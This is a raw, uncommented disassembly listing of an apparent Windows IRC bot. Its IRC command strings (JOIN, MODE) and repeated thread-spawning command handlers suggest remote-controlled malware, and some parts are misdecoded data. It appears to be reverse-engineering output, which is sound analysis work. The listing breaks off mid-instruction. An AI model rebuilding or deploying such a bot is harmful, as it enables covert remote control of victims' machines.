sub_409966 push dword ptr [ebp+18h] call sub_41B969 imul eax, 234h add esp, 18h cmp byte ptr ds:dword_440938[eax], 73h jnz loc_409753 push esi push dword ptr [ebp+18h] call sub_41B969 imul eax, 234h pop ecx add eax, offset byte_440B50 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" jmp loc_4078FC ; --------------------------------------------------------------------------- loc_407A03: ; CODE XREF: seg000:0040693Fj ; seg000:00406956j push dword ptr [ebp+18h] call ds:dword_4CDC38 ; inet_addr push edi mov [ebp-67Ch], eax call sub_41B969 push dword ptr [ebp+8] mov [ebp-68Ch], eax call sub_41B969 mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-88h] mov [ebp-684h], eax lea eax, [ebp-70Ch] mov [ebp-710h], esi push eax call sub_41B7E0 add esp, 14h mov edi, [ebp-4] mov eax, [ebp-8] mov [ebp-674h], edi push dword ptr [ebp-684h] mov [ebp-670h], eax push dword ptr [ebp-68Ch] push dword ptr [ebp-67Ch] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp-2C0h] push offset unk_42BB40 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 0Bh push eax call sub_40AF71 add esp, 20h mov [ebp-680h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-710h] push ebx push eax push offset sub_40C4C6 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-680h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_407AE8 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BC38 jmp loc_403E50 ; --------------------------------------------------------------------------- loc_407AE0: ; CODE XREF: seg000:00407AEEj push 32h call ds:dword_428064 ; Sleep loc_407AE8: ; CODE XREF: seg000:00407ACDj cmp [ebp-66Ch], ebx jz short loc_407AE0 jmp loc_403E5F ; --------------------------------------------------------------------------- loc_407AF5: ; CODE XREF: seg000:00406911j ; seg000:00406928j push dword ptr [ebp+18h] call sub_41B969 mov [ebp-1128h], eax push 7Fh lea eax, [ebp-122Ch] push edi push eax call sub_41B7E0 push dword ptr [ebp+8] call sub_41B969 push dword ptr [ebp-88h] mov esi, [ebp+0Ch] mov [ebp-112Ch], eax lea eax, [ebp-11ACh] push 80h push eax mov [ebp-1234h], esi call sub_41BB70 mov eax, [ebp-8] add esp, 20h mov edi, [ebp-4] mov [ebp-1118h], eax push dword ptr [ebp-112Ch] lea eax, [ebp-122Ch] mov [ebp-111Ch], edi push eax push dword ptr [ebp-1128h] push esi call sub_40AAF8 pop ecx push eax lea eax, [ebp-2C0h] push offset unk_42BB04 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 18h push eax call sub_40AF71 add esp, 24h mov [ebp-1124h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1234h] push ebx push eax push offset sub_410565 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-1124h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_407BE1 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BAC0 jmp loc_403E50 ; --------------------------------------------------------------------------- loc_407BD9: ; CODE XREF: seg000:00407BE7j push 32h call ds:dword_428064 ; Sleep loc_407BE1: ; CODE XREF: seg000:00407BC6j cmp [ebp-1114h], ebx jz short loc_407BD9 jmp loc_403E5F ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: seg000:004068E3j ; seg000:004068FAj push 0FFh lea eax, [ebp-25CCh] push dword ptr [ebp+18h] push eax call sub_41B7E0 push 0FFh lea eax, [ebp-24CCh] push edi push eax call sub_41B7E0 push dword ptr [ebp+8] mov [ebp-23C8h], ebx call sub_41B969 mov [ebp-23C4h], eax mov eax, [ebp+esi-80h] add esp, 1Ch cmp eax, ebx jz short loc_407C47 push 10h push ebx push eax call sub_41BFB5 add esp, 0Ch mov [ebp-23BCh], eax jmp short loc_407C4D ; --------------------------------------------------------------------------- loc_407C47: ; CODE XREF: seg000:00407C31j mov [ebp-23BCh], ebx loc_407C4D: ; CODE XREF: seg000:00407C45j mov esi, [ebp+esi-7Ch] cmp esi, ebx jz short loc_407C64 push esi call sub_41B969 pop ecx mov [ebp-23C0h], eax jmp short loc_407C6A ; --------------------------------------------------------------------------- loc_407C64: ; CODE XREF: seg000:00407C53j mov [ebp-23C0h], ebx loc_407C6A: ; CODE XREF: seg000:00407C62j movzx eax, byte ptr [ebp-8F7h] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-88h] mov [ebp-23B8h], eax lea eax, [ebp-264Ch] mov [ebp-2650h], esi push eax call sub_41B7E0 mov eax, [ebp-4] push edi push dword ptr [ebp+18h] mov [ebp-23B0h], eax mov eax, [ebp-8] mov [ebp-23B4h], eax lea eax, [ebp-2C0h] push offset unk_42BA94 push eax call sub_41BA76 push esi lea eax, [ebp-2C0h] push 1Dh push eax call sub_40AF71 add esp, 28h mov [ebp-23CCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-2650h] push ebx push eax push (offset loc_41647D+1) push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-23CCh] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_407D1B call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BA54 jmp loc_407FD4 ; --------------------------------------------------------------------------- loc_407D13: ; CODE XREF: seg000:00407D21j push 32h call ds:dword_428064 ; Sleep loc_407D1B: ; CODE XREF: seg000:00407D00j cmp [ebp-23ACh], ebx jz short loc_407D13 jmp loc_407FE3 ; --------------------------------------------------------------------------- loc_407D28: ; CODE XREF: seg000:004068B5j ; seg000:004068CCj push 7Fh lea eax, [ebp-36A0h] pop esi push esi push dword ptr [ebp+18h] push eax call sub_41B7E0 push esi lea eax, [ebp-3620h] push edi push eax call sub_41B7E0 push esi lea eax, [ebp-35A0h] push dword ptr [ebp+8] push eax call sub_41B7E0 push esi lea eax, [ebp-3520h] push dword ptr [ebp-88h] push eax call sub_41B7E0 push dword ptr [ebp+8] mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-349Ch], eax mov eax, [ebp-8] push edi push dword ptr [ebp+18h] mov [ebp-3498h], eax lea eax, [ebp-2C0h] mov [ebp-36A4h], esi push offset unk_42BA18 push eax call sub_41BA76 add esp, 44h lea eax, [ebp-2C0h] push ebx push 12h push eax call sub_40AF71 add esp, 0Ch mov [ebp-34A0h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-36A4h] push ebx push eax push offset byte_414BAF push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-34A0h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_407E02 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B9E0 jmp loc_407FD4 ; --------------------------------------------------------------------------- loc_407DFA: ; CODE XREF: seg000:00407E08j push 32h call ds:dword_428064 ; Sleep loc_407E02: ; CODE XREF: seg000:00407DE7j cmp [ebp-3494h], ebx jz short loc_407DFA jmp loc_407FE3 ; --------------------------------------------------------------------------- loc_407E0F: ; CODE XREF: seg000:00406789j ; seg000:004067A0j push 7Fh lea eax, [ebp-3278h] pop esi push esi push dword ptr [ebp+18h] push eax call sub_41B7E0 push esi lea eax, [ebp-31F8h] push edi push eax call sub_41B7E0 push esi lea eax, [ebp-3178h] push dword ptr [ebp+8] push eax call sub_41B7E0 push esi lea eax, [ebp-30F8h] push dword ptr [ebp-88h] push eax call sub_41B7E0 push dword ptr [ebp+8] mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-3074h], eax mov eax, [ebp-8] push edi push dword ptr [ebp+18h] mov [ebp-3070h], eax lea eax, [ebp-2C0h] mov [ebp-327Ch], esi push offset unk_42B9B0 push eax call sub_41BA76 add esp, 44h lea eax, [ebp-2C0h] push ebx push 0Eh push eax call sub_40AF71 add esp, 0Ch mov [ebp-3078h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-327Ch] push ebx push eax push offset byte_4138F5 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-3078h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_407EE9 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B978 jmp loc_407FD4 ; --------------------------------------------------------------------------- loc_407EE1: ; CODE XREF: seg000:00407EEFj push 32h call ds:dword_428064 ; Sleep loc_407EE9: ; CODE XREF: seg000:00407ECEj cmp [ebp-306Ch], ebx jz short loc_407EE1 jmp loc_407FE3 ; --------------------------------------------------------------------------- loc_407EF6: ; CODE XREF: seg000:00406661j ; seg000:00406678j ... push 7Fh lea eax, [ebp-3F7Ch] pop esi push esi push dword ptr [ebp+18h] push eax call sub_41B7E0 push esi lea eax, [ebp-3EFCh] push edi push eax call sub_41B7E0 push esi lea eax, [ebp-3E7Ch] push dword ptr [ebp+8] push eax call sub_41B7E0 push esi lea eax, [ebp-3DFCh] push dword ptr [ebp-88h] push eax call sub_41B7E0 push 20h lea eax, [ebp-3D7Ch] push dword ptr [ebp+10h] push eax call sub_41B7E0 push dword ptr [ebp+8] mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-3CFCh], eax mov eax, [ebp-8] push edi push dword ptr [ebp+18h] mov [ebp-3CF8h], eax lea eax, [ebp-2C0h] mov [ebp-3F84h], esi push offset unk_42B948 push eax call sub_41BA76 add esp, 50h lea eax, [ebp-2C0h] push ebx push 0Dh push eax call sub_40AF71 add esp, 0Ch mov [ebp-3F80h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3F84h] push ebx push eax push offset word_412B8A push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-3F80h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_407FFD call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B910 loc_407FD4: ; CODE XREF: seg000:0040688Aj ; seg000:0040721Aj ... lea eax, [ebp-2C0h] push eax call sub_41BA76 add esp, 0Ch loc_407FE3: ; CODE XREF: seg000:0040689Fj ; seg000:0040722Fj ... cmp [ebp-8], ebx jnz loc_4023FC push ebx push dword ptr [ebp-4] jmp loc_403E6A ; --------------------------------------------------------------------------- loc_407FF5: ; CODE XREF: seg000:00408003j push 32h call ds:dword_428064 ; Sleep loc_407FFD: ; CODE XREF: seg000:00407FC6j cmp [ebp-3CF4h], ebx jz short loc_407FF5 jmp short loc_407FE3 ; --------------------------------------------------------------------------- loc_408007: ; CODE XREF: seg000:00406633j ; seg000:0040664Aj push 7Fh lea eax, [ebp-1774h] push dword ptr [ebp+18h] push eax call sub_41B7E0 push edi call sub_41B969 push 3Fh mov [ebp-1624h], eax push dword ptr [ebp+8] lea eax, [ebp-16F4h] push eax call sub_41B7E0 mov esi, [ebp+esi-80h] add esp, 1Ch cmp esi, ebx jz short loc_408052 push 3Fh lea eax, [ebp-16B4h] push esi push eax call sub_41B7E0 add esp, 0Ch loc_408052: ; CODE XREF: seg000:0040803Ej lea eax, [ebp-16F4h] mov dword ptr [ebp-1620h], 1 push eax lea eax, [ebp-1774h] push dword ptr [ebp-1624h] push eax lea eax, [ebp-2C0h] push offset dword_42B8E0 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 1Fh push eax call sub_40AF71 add esp, 20h mov [ebp-161Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1778h] push ebx push eax push offset sub_401875 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-161Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_4080E1 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42B8A4 jmp loc_406C70 ; --------------------------------------------------------------------------- loc_4080D9: ; CODE XREF: seg000:004080E7j push 32h call ds:dword_428064 ; Sleep loc_4080E1: ; CODE XREF: seg000:004080C6j cmp [ebp-1618h], ebx jz short loc_4080D9 jmp loc_406C7F ; --------------------------------------------------------------------------- loc_4080EE: ; CODE XREF: seg000:004065F3j ; seg000:0040660Aj push edi call sub_41B969 cmp eax, ebx pop ecx mov [ebp-1D60h], eax jle loc_4081DE push dword ptr [ebp+18h] mov esi, 80h lea eax, [ebp-1EE8h] push esi push eax call sub_41BB70 xor eax, eax cmp [ebp-8EAh], bl push dword ptr [ebp-88h] setnz al mov [ebp-1D5Ch], eax mov eax, [ebp+0Ch] mov [ebp-1EECh], eax lea eax, [ebp-1DE8h] push esi push eax call sub_41BB70 mov eax, [ebp-4] push edi push dword ptr [ebp+18h] mov [ebp-1D58h], eax mov eax, [ebp-8] mov [ebp-1D54h], eax push offset unk_42B878 lea eax, [ebp-2C0h] push 200h push eax call sub_41BB70 push ebx lea eax, [ebp-2C0h] loc_408178: ; CODE XREF: seg000:004081F1j push 15h push eax call sub_40AF71 add esp, 38h mov [ebp-1D68h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1EECh] push ebx push eax push offset word_412FCE push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-1D68h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_4081D1 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B840 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_4081C9: ; CODE XREF: seg000:004081D7j push 32h call ds:dword_428064 ; Sleep loc_4081D1: ; CODE XREF: seg000:004081B6j cmp [ebp-1D50h], ebx jz short loc_4081C9 jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_4081DE: ; CODE XREF: seg000:004080FDj push offset unk_42B808 jmp loc_406E9B ; --------------------------------------------------------------------------- loc_4081E8: ; CODE XREF: seg000:004065C5j ; seg000:004065DCj push edi push dword ptr [ebp+18h] call near ptr 0B10000h jb short loc_408178 sal byte ptr [edi+ebx+57h], 8Dh test [eax-3], eax ; --------------------------------------------------------------------------- db 0FFh dd 1875FFFFh, 42B7E468h, 2006800h, 0E8500000h, 13960h dd 0FFBEA3E9h, 0B7D868FFh, 11E80042h, 50000101h, 0FD40858Dh dd 68FFFFh, 50000002h, 1393FE8h, 10C48300h, 0FFEC70E9h db 0FFh ; --------------------------------------------------------------------------- loc_408239: ; CODE XREF: seg000:00406597j ; seg000:004065AEj push dword ptr [ebp+18h] lea eax, [ebp-3C6Ch] push 104h push eax call sub_41BB70 add esp, 0Ch cmp [ebp-0Ch], ebx jz short loc_408273 push edi push dword ptr [ebp-0Ch] call sub_41BAF0 pop ecx cmp eax, ebx pop ecx jz short loc_408273 push eax lea eax, [ebp-3B68h] push eax call sub_41BA76 pop ecx pop ecx loc_408273: ; CODE XREF: seg000:00408253j ; seg000:00408262j push dword ptr [ebp-88h] lea eax, [ebp-3CECh] push 80h push eax call sub_41BB70 mov eax, [ebp+0Ch] mov [ebp-3CF0h], eax mov eax, [ebp-4] mov [ebp-3A60h], eax mov eax, [ebp-8] mov [ebp-3A5Ch], eax lea eax, [ebp-3B68h] push eax lea eax, [ebp-3C6Ch] push eax push offset unk_42B7A8 lea eax, [ebp-2C0h] push 200h push eax call sub_41BB70 push ebx lea eax, [ebp-2C0h] push 24h push eax call sub_40AF71 add esp, 2Ch mov [ebp-3A64h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3CF0h] push ebx push eax push offset byte_416D13 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-3A64h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_408338 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B76C loc_40831C: ; CODE XREF: seg000:004024FDj ; seg000:00402523j ... lea eax, [ebp-2C0h] push eax call sub_41BA76 add esp, 0Ch jmp loc_4023FC ; --------------------------------------------------------------------------- loc_408330: ; CODE XREF: seg000:0040833Ej push 32h call ds:dword_428064 ; Sleep loc_408338: ; CODE XREF: seg000:0040830Ej cmp [ebp-3A58h], ebx jz short loc_408330 jmp loc_4023FC ; --------------------------------------------------------------------------- loc_408345: ; CODE XREF: seg000:00406569j ; seg000:00406580j push 44h lea eax, [ebp-664h] pop esi push esi push ebx push eax call sub_41B780 push dword ptr [ebp+18h] mov [ebp-664h], esi xor esi, esi mov [ebp-634h], bx inc esi mov [ebp-638h], esi call sub_41B969 add esp, 10h cmp eax, esi jnz short loc_408384 mov word ptr [ebp-634h], 5 loc_408384: ; CODE XREF: seg000:00408379j cmp [ebp-0Ch], ebx jz loc_406C7F push edi push dword ptr [ebp-0Ch] call sub_41BAF0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406C7F lea eax, [ebp-0DACh] push eax lea eax, [ebp-664h] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 0B10000h and al, 85h ror byte ptr [ebp-2BF7Bh], 0FFh jnz short loc_4083D3 push offset unk_42B748 jmp loc_406205 ; --------------------------------------------------------------------------- loc_4083D3: ; CODE XREF: seg000:004083C7j push edi push offset dword_42B72C jmp loc_406C76 ; --------------------------------------------------------------------------- loc_4083DE: ; CODE XREF: seg000:0040653Bj ; seg000:00406552j push edi push offset aFenr ; "FEnR" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408550 lea eax, [ebp-48ECh] push eax push 104h call near ptr 0B10000h and ebp, [eax-1] ; --------------------------------------------------------------------------- db 0 dd 858D0000h, 0FFFFD78Ch, 501875FFh, 133C7E8h, 6C858D00h dd 50FFFFE8h, 2846E8h, 858D5000h, 0FFFFB714h, 8C858D50h dd 68FFFFD8h, 42B720h, 3638E850h, 848B0001h, 0FFFF7C35h dd 20C483FFh, 85C7C33Bh, 0FFFFD990h, 1, 0D9949D89h, 1474FFFFh dd 5053106Ah, 13B50E8h, 0CC48300h, 0D99C8589h, 6EBFFFFh dd 0D99C9D89h, 748BFFFFh, 0F33B8035h, 0E8560F74h, 134E5h dd 98858959h, 0EBFFFFD9h, 989D8906h, 0FFFFFD9h, 0F70985B6h dd 758BFFFFh, 0FF7F6A0Ch, 0FFFF78B5h, 0A08589FFh, 8DFFFFD9h dd 0FFD70C85h, 8B589FFh, 50FFFFD7h, 13323E8h, 0FC458B00h dd 891875FFh, 0FFD9A885h, 0F8458BFFh, 0D9A48589h, 858DFFFFh dd 0FFFFFD40h, 42B6F468h, 93E85000h, 56000135h, 0FD40858Dh dd 1E6AFFFFh, 2A7FE850h, 0C4830000h, 8C858924h, 8DFFFFD9h dd 8D50F045h, 0FFD70885h, 685053FFh, 41647Eh, 15FF5353h dd 42807Ch, 0D98C8D8Bh, 0C969FFFFh, 234h, 8189C33Bh, 440B4Ch dd 15FF1975h, 42808Ch, 0B6B86850h, 35E90042h, 6AFFFFE7h dd 6415FF32h, 39004280h, 0FFD9AC9Dh, 0E9F074FFh, 0FFFFE72Fh ; --------------------------------------------------------------------------- loc_408550: ; CODE XREF: seg000:004083EDj push offset dword_42B670 jmp loc_4061FF ; --------------------------------------------------------------------------- loc_40855A: ; CODE XREF: seg000:0040650Dj ; seg000:00406524j push dword ptr [ebp-8Ch] push offset dword_42DFCC call sub_41C260 pop ecx test eax, eax pop ecx jz loc_401F82 cmp [ebp-0Ch], ebx jz loc_401F82 push edi push dword ptr [ebp-0Ch] call sub_41BAF0 push eax lea eax, [ebp-2C0h] push dword ptr [ebp-88h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push offset dword_42B65C push eax call sub_41BA76 lea eax, [ebp-2C0h] push 1FFh push eax push dword ptr [ebp+8] call sub_41B7E0 push dword ptr [ebp+18h] call sub_41B969 add esp, 30h test eax, eax jle short loc_4085E3 push dword ptr [ebp+18h] call sub_41B969 imul eax, 3E8h pop ecx push eax call ds:dword_428064 ; Sleep loc_4085E3: ; CODE XREF: seg000:004085CBj push offset dword_42B648 call sub_4152AE mov eax, [ebp+2Ch] pop ecx inc eax jmp loc_401F85 ; --------------------------------------------------------------------------- loc_4085F7: ; CODE XREF: seg000:004064DFj ; seg000:004064F6j push dword ptr [ebp-8Ch] push offset dword_42DFCC call sub_41C260 pop ecx test eax, eax pop ecx jz loc_401F82 cmp [ebp-0Ch], ebx jz loc_409753 push edi push dword ptr [ebp-0Ch] call sub_41BAF0 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C260 add esp, 10h test eax, eax push esi lea eax, [ebp-2C0h] jz short loc_4086B2 push dword ptr [ebp-88h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push offset dword_42B65C push eax call sub_41BA76 lea eax, [ebp-2C0h] push 1FFh push eax push dword ptr [ebp+8] call sub_41B7E0 push esi lea eax, [ebp-2C0h] push offset dword_42B630 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4152AE push dword ptr [ebp+18h] call sub_41B969 add esp, 38h test eax, eax jle loc_409753 push dword ptr [ebp+18h] call sub_41B969 add eax, [ebp+2Ch] pop ecx jmp loc_401F85 ; --------------------------------------------------------------------------- loc_4086B2: ; CODE XREF: seg000:0040863Dj push offset unk_42B5FC jmp loc_408F37 ; --------------------------------------------------------------------------- loc_4086BC: ; CODE XREF: seg000:004064B1j ; seg000:004064C8j push 7Fh lea eax, [ebp-207Ch] push dword ptr [ebp+18h] push eax call sub_41B7E0 push 7Fh lea eax, [ebp-1FFCh] push edi push eax call sub_41B7E0 push 7Fh lea eax, [ebp-1F7Ch] push dword ptr [ebp-88h] push eax call sub_41B7E0 mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-1EF8h], eax mov eax, [ebp-8] push edi mov [ebp-1EF4h], eax push dword ptr [ebp+18h] lea eax, [ebp-2C0h] mov [ebp-2080h], esi push offset unk_42B5C8 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 0Fh push eax call sub_40AF71 add esp, 40h mov [ebp-1EFCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-2080h] push ebx push eax push offset word_4144F2 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-1EFCh] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_408780 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B58C jmp loc_408844 ; --------------------------------------------------------------------------- loc_408778: ; CODE XREF: seg000:00408786j push 32h call ds:dword_428064 ; Sleep loc_408780: ; CODE XREF: seg000:00408765j cmp [ebp-1EF0h], ebx jz short loc_408778 jmp loc_408853 ; --------------------------------------------------------------------------- loc_40878D: ; CODE XREF: seg000:00406483j ; seg000:0040649Aj push 7Fh lea eax, [ebp-23A4h] push dword ptr [ebp+18h] push eax call sub_41B7E0 push 7Fh lea eax, [ebp-2324h] push edi push eax call sub_41B7E0 push 7Fh lea eax, [ebp-22A4h] push dword ptr [ebp-88h] push eax call sub_41B7E0 mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-2220h], eax mov eax, [ebp-8] push edi mov [ebp-221Ch], eax push dword ptr [ebp+18h] lea eax, [ebp-2C0h] mov [ebp-23A8h], esi push offset dword_42B560 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 11h push eax call sub_40AF71 add esp, 40h mov [ebp-2224h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-23A8h] push ebx push eax push offset word_413C9A push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-2224h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40887B call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42B524 loc_408844: ; CODE XREF: seg000:00408773j lea eax, [ebp-2C0h] push eax call sub_41BA76 add esp, 0Ch loc_408853: ; CODE XREF: seg000:00408788j ; seg000:00408883j cmp [ebp-8], ebx jnz loc_403FC8 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push esi jmp loc_403FC0 ; --------------------------------------------------------------------------- loc_408873: ; CODE XREF: seg000:00408881j push 32h call ds:dword_428064 ; Sleep loc_40887B: ; CODE XREF: seg000:00408836j cmp [ebp-2218h], ebx jz short loc_408873 jmp short loc_408853 ; --------------------------------------------------------------------------- loc_408885: ; CODE XREF: seg000:00406455j ; seg000:0040646Cj push edi lea eax, [ebp-2C0h] push offset dword_42B51C push eax call sub_41BA76 push dword ptr [ebp+18h] call sub_41B969 add esp, 10h loc_4088A2: ; CODE XREF: seg000:0040890Dj test eax, eax jle loc_409753 push dword ptr [ebp+18h] call sub_41B969 cmp eax, 400h pop ecx jge loc_409753 loc_4088BE: ; CODE XREF: seg000:00409484j lea eax, [ebp-2C0h] push eax push offset dword_42B514 push dword ptr [ebp+18h] call sub_41B969 imul eax, 234h pop ecx push ds:dword_440B44[eax] call sub_409920 jmp loc_404968 ; --------------------------------------------------------------------------- loc_4088E9: ; CODE XREF: seg000:00406427j ; seg000:0040643Ej push dword ptr [ebp+esi-84h] lea eax, [ebp-2C0h] push edi push offset dword_42B508 push eax call sub_41BA76 push dword ptr [ebp+18h] call sub_41B969 add esp, 14h jmp short loc_4088A2 ; --------------------------------------------------------------------------- loc_40890F: ; CODE XREF: seg000:004063F9j ; seg000:00406410j push edi lea eax, [ebp-2C0h] push offset dword_42CB10 push eax call sub_41BA76 mov esi, [ebp+18h] push esi call sub_41B969 add esp, 10h test eax, eax jle loc_409753 push esi call sub_41B969 cmp eax, 400h pop ecx jge loc_409753 lea eax, [ebp-2C0h] push eax push offset dword_42B514 push esi call sub_41B969 imul eax, 234h pop ecx push ds:dword_440B44[eax] call sub_409920 push edi push esi push offset dword_42B4EC loc_408972: ; CODE XREF: seg000:004089FAj ; seg000:00408A66j ... call sub_415322 jmp loc_404276 ; --------------------------------------------------------------------------- loc_40897C: ; CODE XREF: seg000:004063CBj ; seg000:004063E2j cmp [ebp-0Ch], ebx jz loc_409753 push edi push dword ptr [ebp-0Ch] call sub_41BAF0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089AB push esi lea eax, [ebp-2C0h] push offset dword_42B4E4 push eax call sub_41BA76 add esp, 0Ch loc_4089AB: ; CODE XREF: seg000:00408994j mov edi, [ebp+18h] push edi call sub_41B969 test eax, eax pop ecx jle loc_409753 push edi call sub_41B969 cmp eax, 400h pop ecx jge loc_409753 lea eax, [ebp-2C0h] push eax push offset dword_42B514 push edi call sub_41B969 imul eax, 234h pop ecx push ds:dword_440B44[eax] call sub_409920 push esi push edi push offset dword_42B4C8 jmp loc_408972 ; --------------------------------------------------------------------------- loc_4089FF: ; CODE XREF: seg000:0040639Dj ; seg000:004063B4j cmp [ebp-0Ch], ebx jz loc_409753 push edi push dword ptr [ebp-0Ch] call sub_41BAF0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409753 mov edi, [ebp+18h] push edi call sub_41B969 test eax, eax pop ecx jle loc_409753 push edi call sub_41B969 cmp eax, 400h pop ecx jge loc_409753 push esi push offset dword_42B514 push edi call sub_41B969 imul eax, 234h pop ecx push ds:dword_440B44[eax] call sub_409920 push esi push edi push offset dword_42B4AC jmp loc_408972 ; --------------------------------------------------------------------------- loc_408A6B: ; CODE XREF: seg000:0040636Fj ; seg000:00406386j cmp [ebp-0Ch], ebx jz loc_409753 push dword ptr [ebp+18h] push dword ptr [ebp-0Ch] call sub_41BAF0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409753 push esi push offset aModeS ; "MODE %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 push esi push offset unk_42B484 loc_408A9F: ; CODE XREF: seg000:0040961Dj ; seg000:0040963Aj ... call sub_415322 jmp loc_4034C3 ; --------------------------------------------------------------------------- loc_408AA9: ; CODE XREF: seg000:00406341j ; seg000:00406358j push dword ptr [ebp-8Ch] push offset dword_42DFCC call sub_41C260 pop ecx test eax, eax pop ecx jz loc_401F82 push edi push offset dword_42B478 push dword ptr [ebp+0Ch] call sub_409920 push dword ptr [ebp+18h] call sub_41B969 imul eax, 3E8h add esp, 10h push eax call ds:dword_428064 ; Sleep push dword ptr [ebp+esi-84h] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 push offset dword_42B464 call sub_4152AE jmp loc_4034C3 ; --------------------------------------------------------------------------- loc_408B0D: ; CODE XREF: seg000:00406313j ; seg000:0040632Aj cmp [ebp-0Ch], ebx jz loc_409753 push dword ptr [ebp+18h] call sub_41B1D0 push dword ptr [ebp+10h] mov esi, eax call sub_41B1D0 add eax, [ebp-0Ch] push edi lea eax, [eax+esi+2] push eax call sub_41BAF0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409753 push esi lea eax, [ebp-2C0h] push offset dword_42BB9C push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push ebx push eax push dword ptr [ebp+18h] push dword ptr [ebp+0Ch] call sub_409966 push esi push dword ptr [ebp+18h] push offset unk_42B448 call sub_415322 add esp, 2Ch jmp loc_409753 ; --------------------------------------------------------------------------- loc_408B7F: ; CODE XREF: seg000:004062E5j ; seg000:004062FCj cmp [ebp-0Ch], ebx jz loc_409753 push dword ptr [ebp+18h] call sub_41B1D0 push dword ptr [ebp+10h] mov esi, eax call sub_41B1D0 add eax, [ebp-0Ch] push edi lea eax, [eax+esi+2] push eax call sub_41BAF0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409753 push ebx push ebx push esi push dword ptr [ebp+18h] push dword ptr [ebp+0Ch] call sub_409966 push esi push dword ptr [ebp+18h] push offset unk_42B428 call sub_415322 add esp, 20h jmp loc_409753 ; --------------------------------------------------------------------------- loc_408BD9: ; CODE XREF: seg000:004062B7j ; seg000:004062CEj cmp [ebp-0Ch], ebx jz loc_401F82 push edi push dword ptr [ebp-0Ch] call sub_41BAF0 pop ecx cmp eax, ebx pop ecx jz loc_401F82 push eax push dword ptr [ebp+18h] call sub_4151B6 push dword 